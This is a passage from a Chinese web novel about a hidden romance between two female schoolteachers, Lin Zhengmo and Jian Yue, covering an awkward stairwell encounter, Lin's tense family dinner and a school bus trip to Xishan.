绝望在于,那个人就在隔壁办公室,居然也掀不起她半点波澜吗?她不是想卖惨,只是觉得一点关心都没有,哪怕一丁点,只要有她存在过的痕迹也好,所以林筝墨真的觉得不要来往了吗? “你别伤心了。”赵筱筱体贴地拍拍简越的额头,“其实是林老师叫我来的。” 假·侦察兵不负责保守秘密。 她的真实身份是调解员。 简越眼神明显回温:“什么时候的事?” “就半小时前。”赵筱筱心想,你这么难过,果然是因为她吧。那我得多美言几句了:“我在教室写作业,她把我叫到走廊,让我来看看你。”是事实,没渲染,但马上就要渲染了:“我觉得林老师很焦急的模样,和平常不太一样。”赵筱筱帮简越做阅读理解:“她应该是关心你吧?” 简越从来没觉得赵筱筱说话这么好听过。 比退烧药更有效。 改个名字吧。 赵嘴甜。 一听到是林筝墨说的,简越忽然觉得一股力量从脚尖注入头顶,浑身的脉络都舒展开来,病痛只是皮肉表象,心灵得到极大的满足。 她想起先前那个梦,那个被虫子啄了一下脸颊的梦,现在需要打一个问号了。 “姐?” “嗯?” “你在想啥呢,你脸好红。” “我发烧呢。”简越懒懒翻了个身,正对着赵筱筱,“你来的时候,我就躺在这里了是吗?” “对,额头上还有退烧贴呢。” 简越阖眼,半张脸埋在抱枕里,忽然闻到清爽的枕头香,她的心早就掀开窗帘飞到阳台外面去了。 * 林筝墨坐立难安,恨不得幻化成一条小小虫,在办公桌上再来一场马拉松,以此释放自己焦躁的心情。 赵筱筱回来的时候说:没问题啦,她已经醒了。 末了,还要心虚地添一句:我没和我姐说是你叫我去的呢!放心吧! 林筝墨理应放下心来,却还是心不在焉。 整个下午,她比以前更关注办公室的动向,张老师在说,周末还是不要打牌,手酸。李老师瞅她一眼,笑道:腱鞘炎都阻挡不了你的热情,想打就打吧。 赵铭全程在听歌改作业,不吭气儿。 就是没人提起简越。 是了。 他们都没那么那么关心简越,只有自己在傻傻等一个消息。 她好不好?吃没吃饭?退烧之后有没有复烧?这些都是林筝墨想知道的事情。明知不该再越界,但还是忍不住了。 可她不能再去问任何人了,这样很奇怪。度日如年,烦闷在办公室的嘈杂声中炙烤,一直到下午六点。 六点。 母亲周京芳发来消息:【晚上回家吃饭,昨天都没过来。】 周二是固定的家庭聚会时间,昨天因为见面,推掉了。 【嗯,我下班就过来。】 六点十分,林筝墨提着电脑包离开。在人群中快速消失,路过简越办公室的时候故意往里面看了眼,人没在。 她在期待什么 林筝墨回家的路径是:教学楼-林荫道-学校门口。 可今天在林荫道驻足片刻,往另一个方向走了。岔口意味着改变目的地,夕阳西下,浓烈的火焰晒在柏油路面上,漆灿灿的,闪着红光。 晚霞把林筝墨的裙子烘得透亮,连带着脸颊也是,几团红云在皮肤上烧着,白皙里淌着粉晕。一双内敛的眼睛望向天空,瞳仁里却闪烁着光,只是一个人站在楼下,直勾勾看着。 她又来了。 站在简越楼下。 七楼的阳台。 大片的绣球,粉的白色恣意生长着,楼顶背后的光影晃荡。林筝墨觉得头有点晕,她得进去避避。 于是,自然是踏入楼道,是荫蔽些。 明知自己该去周京芳那里,现在要跑过来多管闲事。她告诉自己不许再往上走了,但膝盖是一次又一次地弯曲,阶梯是一节一节往上。 别走了。 不自量力。 藕断丝连。 太贪心。 再停下脚步,发现墙上写了个大大的“5”. 啊,已经到五楼了么?林筝墨低头看自己的鞋尖,责备起来:难道要让白天的尴尬再发生一次吗? 偷偷亲吻对方已经够无耻,怎么好意思厚着脸皮再去一次。 她知道那是一种怎样失控的感觉,光是看着简越的脸,就已经不知所措,像脱轨的列车,毫无方向撞向山底,靠近只是本能的事情,太危险了。 可是 又往上走了几步,站在六楼。 拐个弯就看到七楼的门,大红大红的对联贴在两侧,很有家的感觉。 林筝墨停下脚步,觉得在六楼就够了。或许她可以听一听她家里有没有动静,筱筱说她有退烧,应该没问题的。 不然还是回去吧? 上去也不可能敲门的。 犹豫间,忽然听到楼下的响动,是上楼的声音,那人走路发出轻微的咚咚声,咚咚却不是连续的咚咚,而是节奏缓慢的咚咚,听起来是在慢慢上楼。 林筝墨没当回事,往下走。 六楼。 五楼。 四楼。 那人也慢吞吞上来。 一楼。 二楼。 三楼。 也许四楼是一个交汇点?上下楼梯是一个错落的之字,在弯折处,忽然瞥见什么,一点点惊吓显而易见。 林筝墨先看到简越的,脚尖顿住了,下意识要逃,发现楼道实在太窄,没有藏身之地,她就这样赤l裸l裸暴露在对方面前。 简越抬眼的时候,明显没想到这份礼物会出现在她面前。关于小虫子的猜想再次佐证。 “诶?”简越故意发出这样的音节,只是望着林筝墨,不说话。 林筝墨心跳好快,不敢直视那双眼睛,低下头,准备和她擦肩而过。没有更好的办法了,快走吧。 简越扶着栏杆,挡了她的去路。林筝墨只好停下,抬眼,与简越对视。目光撞进那人的眼睛里,审慎中带着点喜悦,怕是一览无遗了。 “你来看我吗?”简越非常直白。 “没有。” “那你来这里干什么?” 林筝墨不说话,嘴唇闭得紧紧的。 我实在找不到什么好的理由!连编也编不出来! “没有人照顾我。”简越自顾自说:“所以生病了还要下楼倒垃圾,上楼好累。” 林筝墨依旧不语。 她不语,简越也不想客气。 “说话。” 林筝墨依旧不说。 简越向她走去,走几步,越来越近,近到快贴在一起,林筝墨受不了这种直观的距离拉进,她觉得是个漩涡,会很快把她吸进去,于是往后退。 夕阳还在,热烘烘的光从楼道的正方形格子透进来,恰巧落在林筝墨的脸上。 阳光是一台读心机,把林筝墨所有的微妙情绪放大,再放大。 直到林筝墨无处可退,一只手贴在墙面上,掌心渗了一层冷汗,全抹在了墙的涂鸦上。 “不说话也没关系。” “上午有一只虫子咬我了。” 简越食指戳了戳自己的侧脸,那是林筝墨吻过的位置。 “小虫子是你吗?”—— 作者有话说:林筝墨:[爆哭][爆哭][爆哭]没有人告诉我,她会从楼下上来啊!!! 简越:谢谢你,隔夜垃圾[彩虹屁] 第32章 第三十二章 林筝墨永远不会犯错…… 第三十二章 “小虫子是你吗?” 简越的脸颊因病显得苍白, 眼睛却烁着光,那是一种期许,和疾病带来的虚弱不同,有种强劲的生命力。 “不是。”林筝墨收回视线, 目光落在简越的脚趾上, 她该是有多迷糊, 拖鞋一样穿一只,一只白色, 一只蓝色, 有点心疼又有点想笑,“我不知道你在说什么。” 逃避是林筝墨的本色,固然不可能大大方方承认。 但简越从她的微表情已经知晓答案。 两人站在走廊陷入僵局, 四面的空气变得稀薄起来。 “我要走了。”林筝墨二度想逃,简越却再次拦了她的去路。 她觉得她们应该聊聊,单方面拉黑就算这段关系结束吗?那也太煎熬了。 “我们聊聊吧。”简越叹了口气:“我没想骗你。” “我已经给到答案了。”林筝墨情绪一闪而过, “再说这些没有意义。” “可是那个答案很模糊。”简越声线柔和,有种成熟的态度, 不会被情绪裹挟, 也不和林筝墨争吵, 她只陈述客观事实:“事实是,我们都很喜欢对方不是么?” 林筝墨的心揪了一下, 要把这些话放在台面上来说, 好难。 “我没说我喜欢你。” “那我喜欢你。” “那你喜欢吧。”林筝墨压下无规律跳动的心, 把自己的态度摆上来:“我不可能和同事谈恋爱。” “那我辞职?” 林筝墨忽然看向简越,“你疯了?”她不允许简越做这样幼稚的事情,“我不能接受你,除了这个原因, 还有别的原因。” 别的原因。 简越你很清楚不是吗? 你骗我。 你明明知道我是谁。 诱导出我最真实的那一面,我说过的那些话,调过的那些情,让我现在尴尬,让我难堪,让我没办法面对你。 林筝墨不语,脸颊却烧起羞耻的粉晕,简越迅速察觉到。 以她对林筝墨的了解,下一秒是要一不做二不休了,她都能想到林筝墨会说的那句台词:分手吧,再也不要见我。 她不能刺激她,小鸵鸟是真的会连夜买站票离开。到时候辞职的可能不是自己而是林筝墨 简越提前打岔:“好,我郑重地为这件事道歉,对不起,我考虑不周,我让你难堪。道歉不是为了让你原谅我,其实我本身也很煎熬,我不想骗你,但是我害怕,要解释起来龙去脉也很拖沓,你不一定想听。以及,好像现在我们都没有办法心平气和讨论这个,那暂且不说了,好吗?” 生病的人还要保持理性,确实很难,简越说话有气无力却又带着一种坚定的诚恳。 林筝墨看不下去,觉得自己在折磨一个病人,再怎么气也气不起来了。 “你先回去。”林筝墨没有办法再对简越说任何狠话,“我想最近我们还是不要交流好了,今天是我不该出现在这里,就这样吧,我要走了。” 算是削掉了一点点锋芒。 简越心里空落落的,但她最不缺乏的就是耐心,她想,这段感情,也许最优解是引导和等待。 需要时间。 “可以,那微信可以不要拉黑我吗?” 林筝墨本想拒绝,奈何忽然看见简越的表情,眼睛汪汪的,眼角泛着泪光,好像再说一句狠话,就能把她眼泪压下来。 “再说吧。”林筝墨给了一个非常含糊的答案,匆匆离去 * 下楼的时候暮色四合,天暗下来,教师公寓的花坛里发出细微的虫鸣。 周京芳已来过三次电话,微信里发过消息,说饭菜已经做好了,就等她回家吃饭。 步伐不免沉重了些。 好像知道妈妈爸爸要说什么,又好像,明明知道会是这样,每个周末还是要坐在那张餐桌上,三菜一汤,糖醋排骨,最大的,肉最多的那一块,以及最压抑,最难承受的爱意。 林筝墨只觉得自己走了很长很长的路。 “回来啦?”周京芳从沙发上站起来,发现林筝墨在玄关处换鞋,一只纤细的手扶着鞋柜,只是低头在换鞋,没说话。 周京芳以为她没听到,走近了些,热情道:“累啦?” 她接过林筝墨的电脑包,林筝墨穿好鞋抬起头来,别了一下耳边的发,用最平淡的语气道:“嗯,加了会儿班。” 林鸿摘下老花镜,格子衬衣在真皮沙发上挤出褶皱起来,回过头看林筝墨一眼,笑意温和:“赶紧过来坐。” 周京芳的手在空气里糊弄一下,“坐什么坐,先吃饭吧,她肯定饿了。” 林鸿也只好站起身来,往餐桌的方向走。方方正正的餐桌,落席三位,菜系色泽鲜亮,花了不少心思,沉甸甸的爱意就摆在筷子旁边。 周京芳把筷子递给林筝墨,“快吃吧,回锅了,现在吃刚刚好。” 林筝墨好饿,实际上,大概是因为疲惫,所以不想说话,如果吃饭的话,那咀嚼的时候是不允许搭腔的,所以她暂且可以不回答他们的问题。 席间,周京芳和林鸿一直在说话,林筝墨只是听着。 “她小时候挺可爱的呀,嘶,我想想,应该是后来是在多伦多读完大学之后那一年,回家觉得人变样了?” 林鸿点头,“我印象比较深,那年春节,我们去吃饭,她染了一个绿色的头发。” 林筝墨夹了一片土豆送入嘴里,慢条斯理咀嚼起来,侧耳聆听,正在确认话题的主人公。 “墨墨,你还记得张老师家女儿吗?” 张老师,是以前的邻居,十年前,大家都住在老式居民楼,那是单位分配的房子,张老师就是隔壁那家的。张老师有个女儿,和林筝墨同岁,小时候俩人喜欢玩泥巴,林筝墨负责和稀泥,对方负责捏泥人儿。这就是天赋,长大之后,人家真的学美术搞雕像去了。 “张晓,我记得啊。”她还有她微信呢,但十年没联系了。 周京芳感叹:“人倒是挺争气,现在搞出名堂来,在开艺术廊呢。就是张老师头疼,下午来过电话,我琢磨来琢磨去,好像知道她在担心什么了。” 林鸿冷不丁来一句:“也是受了国外思想的影响,他们搞民主自由,实际是乱来。” 林筝墨眼皮忽然跳得厉害,不会吧? 印象中有刷过张晓的朋友圈,长头发,很新潮,身上带着一点艺术家气质,如果没记错的话,前些时间她发过一张合影,照片里是一个和她风格相似的女孩儿,她们没接吻,没拥抱,但看起来很亲昵。 其实林筝墨是没往那方面想的,但周京芳和林鸿不就是这个意思? “也不知道是不是这个原因。”周京芳感慨:“母女俩闹矛盾,张老师身体也不好了,最近躺病床上了。” 林鸿听起来有些生气:“那张晓也是,也不知道回来看看!” “张老师够惨了,咱们不干涉别人的事情。”周京芳忽然瞥见林筝墨,打了一剂预防针:“但是墨墨,你可不许像张晓那样。” 林筝墨的紧张全都捏进筷子里,抬眼时,瞳孔里呈现出一种无措的茫然,“我不知道你们在说什么。” 林鸿诶了一声,有些晦气:“小墨绝不可能做出这样的事情来,咱们从小看着她长大,什么时候出格过 ,她有分寸。” 周京芳松了口气,觉得自己的担心属实多虑。那个群体,她觉得都是标新立异的,赶时尚,追潮流,一眼就能看出来,就像张晓那般张扬。而林筝墨素来文静乖巧,嗅不出一点那样的气质。 林筝墨没搭腔,只觉得今天的糖醋排骨好苦,涩味顺着汤汁流入舌齿之间,她突然觉得家禽类的肉质令她感到恶心,生理性压抑,想要呕吐。可餐厅上的吊灯那么亮,像一朵橘色的小花,照耀着这个虚妄的,表面平和的家庭。 “最近和冯涛还是没有联系吗?”日常话题又绕回来。 “没有,我工作忙,他其实也没怎么找过我。” “你瞅瞅。”周京芳看向林鸿:“都说了当初不要考南中,那老师的任务那么多,她哪里有时间想这些。” 林鸿不背这个锅,“那他们学校该结婚的还是结婚了,这和忙不忙有什么关系嘛!” 周京芳无语凝噎。 老两口悟不出个所以然来,索性不从根源找问题,依旧隔靴搔痒:“那冯涛肯定是有什么问题,墨墨不喜欢,我们换一个,这姻缘急不得。” “我吃饱了。”林筝墨放下筷子,揉揉眉心,“昨晚淋雨了有点不舒服,我想躺会儿。” 她在这里有自己的小卧室,布局和小时候还一样。一张松木桌,上面铺着一块大玻璃,玻璃里压着树叶和一些老照片。 树叶是她小时候在公园里捡来的,照片里有她学骑自行车的样子,周京芳小心翼翼推着她,她两条小腿踏着踏板。还有家庭大合照,一岁一张。他们家确实是一个传统又正派的家庭,她不在家的时候,他们也会把这里打扫得干干净净。 林筝墨其实挺喜欢这间房间的,有种时间还未流逝的归宿感。仿佛她还是一个十八岁的少女,那时候没有烦恼,没有伪装,也没有所谓的人设需要执行。 房间外,周京芳还在和林鸿说话,声音隔着厚重的木门,像道士的呓语,她知道,那些诅咒终将落在她的身上,浸入她的皮肤,刺痛她的器官。 要怎么办? 林筝墨也不知道,只是侧过身抱着自己的玩偶,整张脸都埋进去,忽然觉得空气湿润,一些委屈在眼眶里涨潮,她想起简越,想起自己,还有周京芳和林鸿 这些东西像蝴蝶碎片一样盘旋在脑袋里。 有点累,有点晕。 林筝墨很快眼睛累了,沉沉睡去 枕头旁的手机屏幕亮起。 张晓:【好久不见,我过几天要回国诶,有空吃顿饭吗?】 第33章 第三十三章 坏女人!坏! 第三十三章 昨夜骤雨狂作, 林筝墨疲困至极,居然没回家,而是在小房间睡了一宿。 清晨,周京芳为她做了早餐, 倚门前惆怅地看着她:“你最近是不是不开心?” 林筝墨迷迷糊糊起身, 只想快点去冲个澡。 “没有。”她查阅微信, 看见张晓的消息,觉得很奇怪, 暂且没回复。 冲进卫生间开始洗漱, 牙刷家里也有备的,林筝墨爱干净,刷牙总是要刷很久。 周京芳又换了战场, 跟她到卫生间这边来,关心她:“是不是我和你爸逼你逼得太紧了?” 林筝墨一边刷牙一边摇头,见周京芳还看着她, 便吐掉嘴里的泡沫,“没有不开心, 就是上班太累了。” “那好, 桌上有早餐, 吃了再去上班。” * 林筝墨有一项自我保护的技能,那就是坏心情从不隔夜, 整夜的雨就能冲刷掉她的烦恼。 因为不擅长交流, 铸就了自我消化, 也算能量守恒了。 清晨,南城学校门口站着一群穿蓝白校服的学生,大多站在学校门口吃包子,喝豆浆, 闲谈窃窃私语。 “林老师好~” 林筝墨听惯了这个,这才是她的早间闹钟铃声。 “早上好。”林筝墨含笑回应。 南中是一个疗愈大食堂,因为年轻的学生很多,总能从他们身上嗅到一些稚气与活力,成年人思虑过多,有时候多学学这些小孩子的态度也好。 从走廊路过的时候,林筝墨刻意往那间办公室里看了眼。 蓝色条纹衬衫,袖口往上折了两三次,露出纤细的手腕,那人今日随意扎了个丸子头,露出整张清瘦的脸,很好看。但脸色依旧不是很红润,不过比昨天好些,许是恢复些许。 一秒。 林筝墨收回视线。 还好。 她没事。 步入办公室,也是热闹,关于西山之行再度讨论起来,这算是学校团建的一个大活动。经费出了血,简主任安排得又好,没有人不想去。 “除了林老师。”赵铭在张老师耳边小声嘀咕:“八头牛都拉不动的!” 张老师扶了一下镜框,镜片闪烁着审视的光芒。 “宅女!”张老师一锤定音:“看我出马!!” 眼见张老师风风火火过来,林筝墨其实是有点畏惧的。那三寸不烂之舌总能让她耳根投降。 “怎么不去呀?”张老师开门见山:“小林,那游山玩水的多好呀。”说着竟然去拉林筝墨的手,“你看你皮肤白的,就是太阳晒少了,出门少了。咱们当了这么久同事,都没有什么精彩的回忆,你总不在呀,不在。” 张老师已经五十几岁,算是长辈,她这样挽着林筝墨,让林筝墨有点受宠若惊,林筝墨甚至都不敢坐着,跟着站起身来。 “去吗?我们爬完山还可以泡温泉呢。”张老师对林筝墨眨眨眼睛:“你别怕,到时候我带你!” 热情对林筝墨来说是致命一击。 婉拒的话已经到喉咙,看着张老师在笑,活生生又压下去了。 张老师趁火打劫:“去不去?小林,一个字,去不去?” 林筝墨心想,那还有两个字的选择吗?她倒是可以答应,可她和简越分配到一个房间 “小林,说句话。” “嗯”林筝墨脑瓜子疼,“去。” * 西山是南城边缘的一座山,大巴车要连轴不停地开四到五个小时。 海拔大约在两千五百米到三千五百米左右,算是高原湿润气候,终年都能看到雪山。 游玩西山的人都只有一个目的,那就是徒步。 有一句话说:西山可以接纳所有来这里的人。 因为它的徒步线路有很多条,老少皆宜,新手老手会选择不同的路线。 周六清晨,三辆大巴车停在学校门口,日理万机的老师们也该松松骨了。 林筝墨一改往日素净穿搭,走起了运动风。 黑色运动鞋,一条压箱底的登山裤,白色T恤,一顶防晒帽和墨镜,她腰身本就纤瘦,这么黑白一搭,走到人群中都没人认出来。 张老师开玩笑:“我还以为你是简主任呢。” 只有简主任才这么飒里飒气的。 林筝墨没搭腔,墨镜下的眼睛在疯狂搜索,她不想碰见简越,至少不要坐同一辆车。 “小林,你晕车吗?”张老师掰开一粒晕车药,和着矿泉水吞了一粒。 “晕。” “晕就赶紧也吃一颗。”张老师塞一颗小白药给林筝墨,“保准你一路畅通,不吐不晕。” 林筝墨没见过这种规格的晕车药,但也没当回事,当即服下。 四下又观察了一会儿,看见许多人,却一直没看见简越。原本不想见,没见着,心里又空落落的,非常矛盾。 其实这几日她们都没有见面,即使办公室只隔了一道墙,但简越都没有出现在林筝墨的视线里,有时候林筝墨下班了,路过那间办公室,也没见到人。 简越好像很遵守规则,说不联系就不联系。 “小林~愣着干嘛?上车了!” “喔。”在没有简越的世界里,林筝墨背着背包上车了。 这辆大巴比较宽绰,座位是棕色皮质,有商务车的感觉,坐上去很舒服。 张老师找了中间的位置,吆喝着林筝墨一起坐。 “小林,来~快来~” 林筝墨应声过去,张老师又帮她把书包放上去,相当体贴。 “你坐里头。” “好。”林筝墨靠窗坐下,透过玻璃往外看,目光定格住了,一道颀长的身影终于出现在视线里,对方款款而来。 腿又长又细,被一条墨蓝色水洗牛仔裤包裹着,走起路来裤脚带风,她斜挎着一个包,竟然透出一点大学生气质来。可脸又不太像,五官那般明艳,一副茶色墨镜嵌在鼻梁上,善睐动人。 正巧有人与简越说话,她停下来,笑着与对方交谈,唇语之间露出洁白的牙齿。 林筝墨偷看得入神。 嗯。 看起来病好了。 心情也不错。 哼。 “好晒。”张老师眯了眯眼,小声说:“小林,关下窗帘。” “喔,好。” 林筝墨微微欠身,抬起手来,唰的一声,窗帘合上了。她看不见外面的光景,自然也不知道简越的动向,心情却像一座小风扇,呼啦啦地吹着脑袋。 阖上眼,往后靠,忽然觉得眼皮有点沉。 “小林。” “嗯?” “等会儿估计你会有点困,到了我叫你就好。” “您给我吃的什么?” “安眠药。” 林筝墨:“啊” 张老师这人,她老人家一言不合就放大,居然用安眠药当晕车药。 呃—— 林筝墨的眼皮子开始打架了。 闭眼,只觉得窗帘缝隙里的光影在眼皮上晃动,太阳炙烤着额前那块皮肤,心思不在车里,思索着那个人要坐哪辆车。 总归不是这辆。 大巴司机发动引擎,机车前盖发出低鸣,整辆车都跟着小幅度发颤。 前坐的老师朗声说:“老师们!我们准备出发了!” 刚要启动,下一秒,听见有人拍了车门,师傅往外看一眼,发现有人在挥手,噗嗤一声,赶忙把门打开,最后一个人迅速登了上来。 哐当,门又合上了。 张老师伸长脑袋看一眼,笑起来:“诶?简主任,坐我们这辆车呢?” “嗯。” 林筝墨忽然觉得太阳穴跳了下,牵动着神经,却不睁开眼,假装已经睡着了。 张主任和简越闲聊: “简主任,你坐哪里?” “您别不用管我。” “噢,行。” 说完这句,张老师不再搭腔。林筝墨持续闭眼,侧耳聆听,没听出个所以然来。 好奇心驱使,睁开眼,想偷偷看简越在哪里,结果眼皮一掀,发现简越居然在看她! 那时简越一只手把包往储物栏上放,目不斜视凝视着林筝墨,目光大胆又赤l裸l裸。 林筝墨胆小又娇羞带一点小心翼翼的睁眼,以为自己藏得很好,却猝不及防被抓了个正着。 尴尬的对视。 死了算了。 简越唇角上扬,荡漾着笑意,对林筝墨可爱的小反应很满意。 “林老师~”简越故意和她打招呼:“睡醒啦?” 林筝墨:“……” 坏女人! 坏! 张老师没察觉两人之间的微妙,老实巴交陈述事实:“人家还没睡呢。” 简越明知故问:“看起来她好困。” 张老师:“她晕车,我给她吃了一颗安眠药,该是困了吧。” “晕车吃安眠药?”简越望向林筝墨,似乎匪夷所思。 发现林筝墨侧身过去,双手抱胸,额头靠在窗上,佯装睡觉不再言语。 无人在意的角落,林筝墨耳尖泛红…… * 张老师那一粒安眠药对林筝墨很有效,却对张老师本人无效,大概是因为张老师常年吃这玩意儿,早就具有抗药性。 但对于第一次吃安眠药的林筝墨来说,药性犹如洪水猛兽般汹涌而来。 车刚开出去五分钟,她就睡着了。 “简主任,还是你会安排,这车坐着真舒服,你看小林都睡着了。” 简越视线越过张老师的肩膀,早就把林筝墨睡着的全过程收入眼中,眼神灼热到能把林筝墨烫到。 “哦,她睡着了?” “对呀。”张老师回头看林筝墨一眼,睡相恬静,窗帘缝隙晃动的光落在林筝墨白净的脸上,纤丽秀美,“小林睡着乖乖的。” 简越眼里荡漾着克制笑意,乖,当然乖,林筝墨,你睡觉的样子怎么也勾人? “张老师,我们也歇会儿吧。” “好。” 简越假装闭目养神,前摇三秒,又缓缓睁开眼,淡然道:“那个,张老师,这个椅子还更舒服,不然我们换个位置吧?”—— 作者有话说:明天有加更哦[彩虹屁][彩虹屁] 第34章 第三十四章 初吻 第三十四章 “张老师, 感觉这个椅子更舒服些,要不要换个位置?” 张老师睁开眼,诧异:“我们不是同一辆车吗!未必你那个还高档些?” 简越故意用后脑勺在落枕上磕了几下,胡说八道:“我不知道, 就觉得脖子在这儿可舒服了。” 张老师哪儿经得起这番煽动, “真的?我试试呢!” 简越慢悠悠起身, 和张老师调换位置。 她率先在张老师的位置坐下,又把刚刚做过的动作又做了一遍, 攒眉:“咦?我感觉好像都一样。” 神态和语气都提前设计过, 显得非常自然。 接着起身,“算了,张老师, 我们还是换回来吧。” 张老师屁股陷进去了,懒得挪,索性摆摆手, “算了算了,我觉得你这里是要舒服些, 没那么晒。”说着抬起手璇了一下凉气的扇口, 安安祥祥吹起冷风来。 简越勉勉强强坐下, 又勉勉强强闭眼,没忍住, 勉勉强强又笑了一下。 妙哉。 三天前, 生病过后, 简越一直处于低迷状态,她与林筝墨的关系举步维艰,找不到进步的豁口。直到赵铭跑来与她说:“张老师说服林老师去西山了。” 那种感觉就像垂死的人忽然喝了神仙老水,雀跃直在头顶打璇儿, 末了还要克制地说一句:“哦,她要去?名单上多加一个人就是。” 此刻,大巴引擎驱动的声音令人困顿,兴奋神经却在颅内敲锣打鼓。 在行驶大概一小时后,车内的声音明显低下来,简越观察四周。 老师们几乎全都睡着了,睡不着的也在刷视频,无人在意她和林筝墨这一块儿。 简越侧目,发现林筝墨睡得很熟,双手交叉抱在胸口,整个人呈现出防御状态,说明她睡得并不安稳。同时,脑袋是往窗户靠的,所以从简越的角度,只能看到林筝墨被长发遮挡的侧脸,还有一只若隐若现的白皙耳朵。 安眠药? 张老师疯了吧,居然喂林筝墨吃这个。 女朋友确实也睡傻了,饶使怎么颠簸也没反应。 高速一路驰骋,直到山路崎岖,盘山马路大拐特拐,一个巨型弯绕,司机方向盘打死,全车的人惯性往左边靠。 林筝墨的身体也不例外。 脑袋一偏。 哒—— 靠简越肩上了。 林筝墨的头发磨蹭在简越的肩膀上,香氛在空气中晃来晃去,像一瓶葡萄酒,晃得简越心情发酵,好像只是一点点肢体接触就开始发醉了。 她小心翼翼扶着林筝墨的脑袋,好让她不要靠回去。稍稍侧目,瞥见林筝墨熟睡时的模样,带一点点甜,一点点冷,还有一点点平日无法窥见的可爱。 喜欢林筝墨的鼻子,无可挑剔的骨相,自然光线下,鼻梁呈现出一条优美的白色弧光,从眉眼的间隙一直滑落到鼻尖,线条流畅,找不出一点瑕疵来。 她的嘴唇也好漂亮,像一颗柔软樱桃让人想尝一尝。 简越看得入神了,又在想,林筝墨会不会睡得不舒服? 索性伸出手,枕在林筝墨的脖颈下,一只手轻轻拥住她。 第一次拥抱,居然是在如此狭小的空间里。 不正式、还带着点偷藏的意味。 可林筝墨的身体柔软又纤细,软绵绵的,蜷缩在怀抱里。忽然想要这样的瞬间再长一点,长一点点。 汽车油门忽然嗡了几下,简越心跳如雷,再回过神来,张老师已经打鼾了,而小鸵鸟 祝她做个美梦好了。 * 林筝墨从来没这样倒头就睡过,眼皮子像是缝了线,怎么也睁不开。期间其实是有知觉的,知道车子晃了大半圈,身体不受控制往侧边靠了,她觉得自己应该靠在了张老师的肩膀上。 张老师的肩膀比想象中更有安全感,没想到在中年姐姐的怀抱里,也嗅到了青春的气味。 张老师的衣服很香,像是在阳光下暴晒了一天,那么温暖,那么甜。夏日的晴朗在脸颊上开了花,一颗不合时宜的种子落入林筝墨迷糊的思绪里,莫名其妙想起一个人——啊,不想她了。 好困好困。 车子跑了上百里的山路,初夏的日光令人困倦,金灿灿的阳光落在玻璃窗上,后视镜上,某个塑料袋里。全车进入睡眠状态,只有简越,强打精神一直睁着眼,她要保持不动,林筝墨才能睡得香。 不知道过了多久。 汽车的制动器忽然响了。 刹车踩熄了全车的睡眠。 张老师迷迷糊糊睁开眼来,嘟囔道:“哎唷,就到啦?” “嗯,到了。”简越揉揉眼睛,一只手轻轻地捂住林筝墨的耳朵,想帮她手动减噪。 “麻将打多了!腰还是疼!”张老师站起身来,无意发现林筝墨就靠在简越的肩膀上,笑道:“小林还在睡呢?” “对。” “她压着你肩膀一路,你不疼啊?” 简越故意拧了一下眉头,“还好,我也睡着了,同事之间,不讲究这些。” 非常官方的回答,也非常简越,张老师生不出一点怀疑来。 “我来叫她吧,小林小林,起床了!”张老师笑着朗声说。 张老师的声音像一根针,在林筝墨的耳朵上迅速扎了一下,林筝墨忽然惊醒,迷濛地看着眼前的一切,发现张老师居然站在一旁,视线转移到更近的那张脸。 老简!!!! 可怕!!!! 林筝墨是真的肩膀下意识抖动了一下,大概实在没想明白,怎么就贴在这个人怀抱里,世界未解之谜。 她整个人迅速往后仰靠而去,估计也是人睡懵了,没估摸到距离。 bang! 林筝墨后脑勺撞在玻璃上。 “啊——”简越一声惊呼,比林筝墨更先发出声音,忙去摸她的后脑勺,“你怎么了!” 张老师也吓一跳,林老师是做了什么噩梦,怎么自焚头颅,简主任这么漂亮,不至于像看到厉鬼吧? “妈呀小林,你莫不是要脑震荡!!” 简越可开不起这样的玩笑,站起来,手指翻山越岭去看林筝墨的脑袋,她一靠近,林筝墨轻轻在她腰上推了一下,算是抗拒。 “别动,我看看。”简越轻轻拨林筝墨的头发,指腹轻轻贴了下,“嘶,感觉会肿。” “你干嘛,你走。”林筝墨小声说,声音传播范围只在她和简越之间。 张老师过来凑热闹,“哎哟,我瞅瞅,妈呀,红了!小傻瓜,撞得不轻嘞!” 简越跟着说:“就是,小傻瓜,撞得不轻!” 林筝墨眱她一眼,不看简越还好,一看忽然委屈起来,加上脑袋确实撞得不轻,眼泪忽然鬼似的冒出来,稀里哗啦噙在眼眶里,泪光转了一圈又一圈,没留住,像一根线似的落下。 她也不是完全因为疼痛,只是这几日的情绪积压着,伤心在于,她明明把简越推开了,却不是遵从本心,现在简越关心她,她更没办法推开她了。情绪受到巨大的煎熬,一面觉得不可以,一面又被对方牵动着情绪。 这几天简越没找她,没理她,她以为她们之间就这么结束了,明明好像如乐意,却难过得不行。 林筝墨迅速低下头去,一滴眼泪滑落在手臂,她迅速用手挡住了。 她哭了。 马大哈张老师没发现端倪。 简越立马打掩护:“没事的张老师,对了,赵铭那边好像有在发房卡,去晚了没有好房间了,不然您先去领一下?” “她没事吧?”张老师还在担心林筝墨。 简越道:“没事,我会照顾好她的。” “那小林”张老师在询问林筝墨的意见。 林筝墨点点头,压低音量:“张老师,我没事,坐一会儿就下去。” 张老师这才放下心来。 老师们忙着拍照,陆陆续续下车,连司机也下去抽烟了,直到整辆车只剩两人,空调不再送风,温度慢慢升高,林筝墨依旧低着头不说话。 “疼不疼?”简越声线柔和,“撞疼了吧。” 林筝墨不语,她发誓不会再和这个坏女人说话。 “我再看看。”简越凑近了些,扶着林筝墨的肩膀,手指去拨弄林筝墨的头发,“刚刚有人在,不好细看。” “你别碰我。”林筝墨低声说:“我没事。” 简越停下手里的动作,一瞬不瞬看着她,“那你刚刚哭什么?” “你管我。”林筝墨分明还带着哭腔,总归不能说,因为看到你,慌了神,笨头笨脑把自己撞疼了,觉得自己好蠢。又因为这几天你都没出现在我视线里,觉得你是不是要放弃我了,我好难过,好委屈。 但是,是我要推开你的,我又没有办法指责你。 不能说。 一句话都不能说。 不善言辞的林筝墨,说话的方式只能是眼睛。 世界变得潮润,低头看着自己的手指,视线也因为眼泪变得模糊。 简越心疼,现下车里没人,她伸手将窗帘拉紧了,日光阻隔在外,人群阻隔在外,终于有属于她们的小小世界了。 “林筝墨。”简越伸手去替她拭泪,温热揉进指腹,她捧着林筝墨半张脸,缓缓将她的脸抬起来。 泪光簌簌,黏黏糊糊,在那张俏冷的脸颊上,惹人怜爱。 “不哭了。” “我没哭。”林筝墨睫毛上还沾着水气,眨眼时荡漾着水光,鼻尖因为哭过,白净里透着一点红润,有一点像冬日里冻得发僵的小可怜。 “没哭吗?我检查一下呢。”简越靠近了,用温柔又怜爱的语气。 